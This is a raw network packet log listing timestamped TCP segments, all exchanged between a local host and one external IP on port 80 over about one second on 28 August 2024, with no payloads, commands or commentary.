Aug 28, 2024 22:55:52.768887043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.768906116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.768929958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774588108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774663925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774691105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774703026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774714947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774727106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774727106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774739981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774748087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774753094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774763107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774786949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774787903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774800062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774826050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774832964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774842978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774847031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.774874926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.774883986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.775006056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.775051117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.775082111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.775093079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.775104046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.775121927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.775134087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.780066013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.780085087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.780097008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.780113935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.780124903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.780136108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.780148029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.780148983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.780165911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.780180931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.783070087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.783091068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.783102036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.783121109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.783133030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.783138037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.783153057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.783174992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.783179045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.783190012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.783200979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.783219099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.783242941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.807256937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.807271004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.807290077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.807301998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.807322025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.807322025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.807328939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.807408094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.807476997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.807640076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.807661057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.807682037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.807709932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827414989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827430964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827444077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827460051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827472925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827483892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827495098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827506065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827521086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827564955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827585936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827620983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827646017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827662945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827675104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827685118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827696085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827707052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827723026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827892065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827903032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827929020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827939987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.827979088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.827991009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828001976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828011990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828021049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828023911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828035116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828052998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828072071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828314066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828325987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828344107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828361988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828377008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828380108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828389883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828402042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828412056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828417063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828440905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828458071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828649044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828692913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828752995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828807116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828852892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828864098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828872919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828886032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828902960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828902960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828915119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828921080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828928947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.828947067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.828964949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829174995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829222918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829233885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829248905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829262018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829272985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829289913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829301119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829313040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829324961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829336882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829349995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829371929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829566002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829606056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829612017 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829616070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829655886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829662085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829662085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829668999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829694033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829709053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829766989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829777002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829790115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829793930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.829817057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.829833031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843415022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843430042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843441963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843492031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843512058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843516111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843528032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843539953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843550920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843556881 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843564034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843571901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843574047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843597889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843628883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843630075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843642950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843666077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843677998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843703985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843714952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843738079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843753099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843813896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843825102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843836069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.843852043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.843867064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855199099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855211020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855223894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855241060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855252028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855269909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855288029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855295897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855308056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855328083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855330944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855339050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855350018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855362892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855375051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855398893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855494022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855504990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855516911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855534077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855549097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855645895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855659008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855669975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855679035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.855698109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.855724096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861624956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861675978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861690044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861696005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861709118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861715078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861722946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861728907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861745119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861756086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861824036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861835003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861846924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861857891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861869097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861871004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861882925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861888885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861898899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861910105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861915112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861922026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.861929893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861941099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.861964941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.867033958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.867082119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.867093086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.867108107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.867131948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.867131948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.867166996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.867178917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.867188931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.867199898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.867206097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.867218971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.867244005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.869921923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.869972944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.869975090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.869986057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.869998932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.870008945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.870018959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.870039940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.870042086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.870052099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.870064020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.870071888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.870076895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.870094061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.870114088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.894361019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.894373894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.894385099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.894414902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.894426107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.894437075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.894444942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.894448042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.894460917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.894475937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.894475937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.894534111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914422035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914488077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914518118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914527893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914540052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914546967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914556980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914558887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914572001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914576054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914592028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914602995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914606094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914617062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914638042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914644003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914649963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914660931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914674997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914680004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914690971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914700985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914721966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914740086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914905071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914916992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914927959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914957047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.914975882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.914978027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915019989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915115118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915136099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915147066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915157080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915163994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915168047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915172100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915179968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915191889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915200949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915203094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915215015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915220976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915227890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915244102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915266991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915493965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915539980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915544987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915560961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915574074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915594101 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915616989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915678978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915718079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915728092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.915729046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.915756941 CEST	49731	80	192.168.2.7	147.45.68.138
